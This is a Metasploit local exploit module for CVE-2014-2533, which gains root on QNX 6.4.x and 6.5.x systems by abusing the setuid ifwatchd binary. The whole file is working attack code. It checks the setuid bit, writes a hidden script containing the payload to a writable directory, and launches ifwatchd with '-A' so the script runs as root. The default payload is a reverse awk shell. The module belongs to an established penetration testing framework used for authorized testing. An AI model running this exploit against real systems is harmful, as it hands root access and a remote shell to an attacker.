##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::File
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ifwatchd Privilege Escalation',
        'Description' => %q{
          This module attempts to gain root privileges on QNX 6.4.x and 6.5.x
          systems by exploiting the ifwatchd suid executable.

          ifwatchd allows users to specify scripts to execute using the '-A'
          command line argument; however, it does not drop privileges when
          executing user-supplied scripts, resulting in execution of arbitrary
          commands as root.

          This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
          and 6.5.0 SP1 (x86).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'cenobyte', # Discovery and exploit
          'Tim Brown', # Independent discovery
          'bcoles' # Metasploit
        ],
        'References' => [
          ['CVE', '2014-2533'],
          ['BID', '66449'],
          ['EDB', '32153'],
          ['URL', 'http://seclists.org/bugtraq/2014/Mar/66']
        ],
        'DisclosureDate' => '2014-03-10',
        'Platform' => 'unix', # QNX
        'Arch' => ARCH_CMD,
        'SessionTypes' => %w[shell meterpreter],
        'Targets' => [['Automatic', {}]],
        'Privileged' => true,
        'Payload' => {
          'BadChars' => '',
          'DisableNops' => true,
          'Space' => 1024,
          'Compat' => {
            'PayloadType' => 'cmd',
            'RequiredCmd' => 'gawk generic'
          }
        },
        'DefaultOptions' => {
          'WfsDelay' => 10,
          'PAYLOAD' => 'cmd/unix/reverse_awk'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )
    register_advanced_options([
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ])
  end

  def ifwatchd_path
    '/sbin/ifwatchd'
  end

  def base_dir
    datastore['WritableDir']
  end

  def check
    return CheckCode::Safe("#{ifwatchd_path} is not setuid") unless setuid?(ifwatchd_path)

    CheckCode::Detected("#{ifwatchd_path} is setuid")
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    fail_with(Failure::BadConfig, "#{base_dir} is not writable") unless writable?(base_dir)

    script_path = "#{base_dir}/.#{rand_text_alphanumeric(10..15)}"

    print_status('Writing interface arrival event script...')

    cmd_exec "echo '#!/bin/sh' > #{script_path}"
    cmd_exec "echo 'PATH=/bin:/usr/bin' >> #{script_path}"
    cmd_exec "echo 'IFWPID=$(ps -edaf | grep \"#{script_path}\" | awk \"!/grep/ { print $2 }\")' >> #{script_path}"
    exp = payload.encoded.gsub('"', '\"').gsub('$', '\$')
    cmd_exec "echo \"#{exp}\" >> #{script_path}"
    cmd_exec "echo 'kill -9 $IFWPID' >> #{script_path}"
    register_file_for_cleanup(script_path)

    cmd_exec("chmod +x '#{script_path}'")

    print_status("Executing #{ifwatchd_path}...")
    interface = 'lo0'
    cmd_exec("#{ifwatchd_path} -A '#{script_path}' -v #{interface} >/dev/null & echo ")
  end
end
